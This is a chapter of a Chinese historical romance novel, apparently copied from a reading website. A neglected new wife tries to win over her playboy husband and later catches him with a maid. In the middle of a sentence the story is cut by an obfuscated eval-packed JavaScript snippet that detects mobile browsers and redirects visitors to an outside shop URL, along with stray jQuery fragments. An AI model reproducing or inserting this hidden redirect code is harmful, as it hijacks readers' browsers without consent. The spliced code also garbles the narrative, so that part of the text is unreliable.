“世子夫人,国公夫人请您过去。”
苏元意心中明白,国公夫人八成是为萧闲朋友聚在家里不散的事找她。
她进了正屋,就见国公夫人端坐在上首的位置,右手边坐着大伯母,左手边则是七婶娘,三位贵妇人正言笑晏晏地话着家常。
苏元意进屋后一一给诸位长辈见了礼,而后端站在国公夫人身后服侍着,国公夫人同她们聊了几句后,笑道,“行了,今儿就先到这儿吧,你们先回去,改日咱们再聊。”
大伯母看了眼苏元意,知晓国公夫人是有私话要和儿媳妇说,就带着七婶娘识趣地退下了。
她们离开后,国公夫人笑着说,“坐吧。”
苏元意并没有坐,而是走到国公夫人面前欠身行礼,“儿媳无用,未能劝下世子。”
国公夫人轻叹了一声,说:“坐吧,你说的事我已经知道了。”
苏元意见国公夫人确实没有怪罪她的意思,方坐在国公夫人下首的位置上。
“这事也怪我太着急,总是让你替我去做惹他不快的事。”
“闲儿的性子被我惯得本就爱玩,你与他新婚燕尔,不该总是如老学究似得管着他,他喜欢你,一次二次也就依了,可次数多了,他那霸王似得性子定会厌烦。”
苏元意那颗被萧闲泼冷的心,总算在国公夫人这边有所慰藉,满京有多少磋磨儿媳的婆母,她是知道的,可她这位婆母除了开始对她的冷待外,后面都称得上是极好的了。
“这件事你就别管了。”国公夫人喝了口茶,“我去劝他,我不信他连老娘的话都不听。”
苏元意其实并不觉得国公夫人去劝,会得到特别好的结果。
如果萧闲是会听母亲话的人,当初她也不会嫁进萧府了。
但这话她自不会说出来。
“是儿媳无用,还要婆母费心。”
国公夫人的态度越温和,苏元意脸上的神色愈发恭敬,让人想要说她两句,也只会不忍作罢。
苏元意告别国公夫人回了自己的院子后,吩咐兰香道:“兰香,我记得库房里是不是有一套错金银嵌宝铜骰子?”
兰香点头:“是有一套,是小姐成婚时大姑奶奶送得贺礼。”
苏元意当初成婚时,苏家嫁出的长辈们怕她嫁入萧府后会被人看轻,因而每个人都送了好几样重礼为她撑面子。
这套骰子做工精美,其上还镶嵌了绿松石,红玛瑙,是极为贵重的宝物,而且他的作用也恰好能对上萧闲的喜好。
“你去把它取出来送到世子那儿去。”
兰香不情不愿,“小姐,世子都那样对你了,你怎么还要给他送东西啊?”
苏元意抿唇不言,兰香还以为苏元意改了主意,结果却见自家小姐忽而站起身往外去。
她连忙追上去,“小姐,您去哪?”
苏元意温和一笑,“只送东西不能表明我的心意,我要亲手为郎君做碗解暑的凉汤。”
兰香瞪大眼:“小姐!世子那样对您,您一点都不生气,不伤心吗?怎么还又送东西又做汤的?他……!”
他配吗?
兰香哪哪都好,对她忠心耿耿,做事麻利细致,可偏偏这性子养得太傲了,受不了一点磋磨与委屈。
苏元意笑着,“兰香,我现在还有资格伤心,生气,耍小性子吗?”
兰香对上苏元意笑着的眉眼,小姐明明是在笑,可她却想哭……
连续闷热了数日的京师总算下了一场雨,丫鬟们怕雨水溅屋里,连忙关上了窗,苏元意靠坐在窗边,听着屋外淅淅沥沥的雨声。
兰香拉着她的手,嘟嘟囔囔地给她涂药,“小姐真是的,非要自己亲手做,这下好了吧,好端端一双手都烫出泡了,日后若是留了疤可怎得了。”
苏元意笑道:“若不亲手做怎能显示我的诚意?”
兰香轻哼一声,“世子又不是亲眼盯着小姐做,你就让我做,再说是你自己做的,谁知道?别的夫人都这样敷衍夫君,偏偏小姐您又傻又倔。”
兰香一面嘴上埋怨着她傻,可手上的动作却轻柔极了,生怕弄疼了苏元意。
苏元意晃了晃抹好药的手,笑着说,“这手上的伤虽是疼了点,但却有用。”
兰香哼了一声,撒开她的手,“我知道小姐是想用手上的伤博世子怜惜,可男人心里有你的时候,你什么也不做,他都会心疼你,可若是没你,你死在他面前,他也不落一滴泪的。”
苏元意怔了下,随即笑着用手捏她的脸,“好兰香,我今日才知,原来你还有这样的智慧。”
兰香红着脸躲了躲,“小姐又拿我打趣。”
主仆两人正逗着乐,送东西的小厮回来了。
“世子夫人,东西世子收下了。”
“世子可还喜欢?”
“喜欢。”小厮笑嘻嘻地说,“世子一收到就高兴的和其余公子们用上了,一个个都赞那骰子漂亮呢。”
“办得不错,当赏。”
“谢世子夫人赏。”小厮喜笑颜开地躬身退出去,却忽而又被苏元意叫住了。
“那碗凉汤呢?”
小厮一下子支支吾吾起来。
“说。”
“回世子夫人,世子……世子没有喝,随手赏给了下面的人。”
兰香怒了,“该死的蠢奴才,你有没有和世子说,那碗凉汤是世子夫人亲手做的。”
小厮苦着一张脸,“奴才说了啊。”
偌大的房间里忽而陷入了死一般的寂静,小厮跪趴在地上生怕到手的赏没了,反而得一顿打。
“你下去吧。”
“是。”小厮连滚带爬地退了出去。
“小姐。”兰香气急了,“世子真是太过分了,小姐为了做那碗汤,手都烫出了好几个泡,他却一口都不尝,随手就赏给了下人!”
“行了。”苏元意语气温和,“汤是我自己要做的,他喝与不喝是他的事,我也不能勉强。”
“我饿了,你去替我看看厨房的饭菜可备下了?”
兰香退出去后,偌大的屋子就只剩了她一人,她听着雨声呆坐了片刻,而后随手拿起手边的一本书看了起来,书页翻开后就很久没再被主人所翻动。
“滴答滴答”一颗颗豆大的水珠落在纸张上,打湿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032540|148837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了那句于嗟女兮,无与士耽!
苏元意听说国公夫人劝了萧闲好几次,萧闲都嬉皮笑脸地混过去了,最后还是国公爷看不过眼,气呼呼地说要动用家法打萧闲一顿,他的那帮朋友们听说此事后,再也没脸住下去,一个个都起身告辞。
这下反而惹得萧闲不悦了,他觉得国公爷在朋友们面前折了他的面子,与国公爷和国公夫人大吵了一架,气呼呼地跑出了府又是三日不归,气得国公爷和国公夫人一个捶胸顿足,一个直抹眼泪。
苏元意并没有掺和这些事,但萧闲走后,她没少去宽慰国公夫人,国公夫人见她听话懂事,心中总算多了几分慰藉,劝她赶紧生个孩子好好教导,莫要学他那不成器的父亲。
萧闲的这一放荡的行为很快又传遍了京师,人人都说萧家这是造了什么孽,多好的人家竟生出这么个玩意,若是生在他家,早就一棒槌打死了。
还有人说是萧家世代武将,造的杀孽太多,这一个啊,是从前死在萧家刀下的亡灵投胎讨债来了。
总之,萧闲是又一次在天下人心中加强了他放荡纨绔的形象。
这些事兰香听得都后怕,她不止一次劝苏元意以后别管他了,随着他去,自己的亲爹娘都能气成那样,若苏元意下次再劝,万一他动手打人可怎么是好?
这日,国公夫人又派人召她过去。
她刚一落座,国公夫人就道:“闲儿回来了。”
到底是唯一的亲儿子,前些日子气得日日抹泪,如今人一回来哄了几句,国公夫人提起他又是满脸的笑意。
苏元意暗自摇头,有这样的慈母慈父,萧闲会养成现在这样的性子也不奇怪了。
国公爷几次说要动家法打萧闲,可却连萧闲一根手指都没碰过,简直含在嘴里怕化了,捧在手里怕碎了。
“我知晓你前段日子和他吵了几句嘴,但夫妻哪有隔夜仇呢,我为你备了碗鸡汤,你去给闲儿送去。”
“郎君现在在哪呢?”
“被他老子喊去了,现下应该在大书房那边。”
“你看着他把这碗鸡汤喝了,再喊他过来一起用晚膳。”
“是。”
苏元意示意兰香接过食盒,而后起身往书房那边去,许是得了国公夫人的示意,她一路走来畅通无阻。
她穿过花园,越过庭院,踏上木质的长廊,国公爷的书房就在长廊的尽头,可她刚转了个弯,就听见女子的娇笑声与男子的调戏声。
“用了什么香这般勾人?过来让本世子闻闻。”
“世子爷真坏,就不怕世子夫人发现吗?”
“什么世子夫人?你就是本世子的夫人。”
“啊,世子爷轻点,掐疼奴婢了。”
苏元意侧眸去看,透过小窗的缝隙,可以清晰地看见萧闲懒洋洋地靠坐在木椅上,那小丫鬟骑坐在他的腿上,他掐着她的腰往自己的怀里按,头埋在她的脖颈间亲吻,小丫鬟一张俏脸粉红,双眸含情,意乱情迷地向后倒着,目光无意间从小窗的缝隙里看见了她。
她顿时吓了一跳,忙从萧闲的怀里跳了出来,拢了拢衣裳,惊道:“世子,夫人来了!”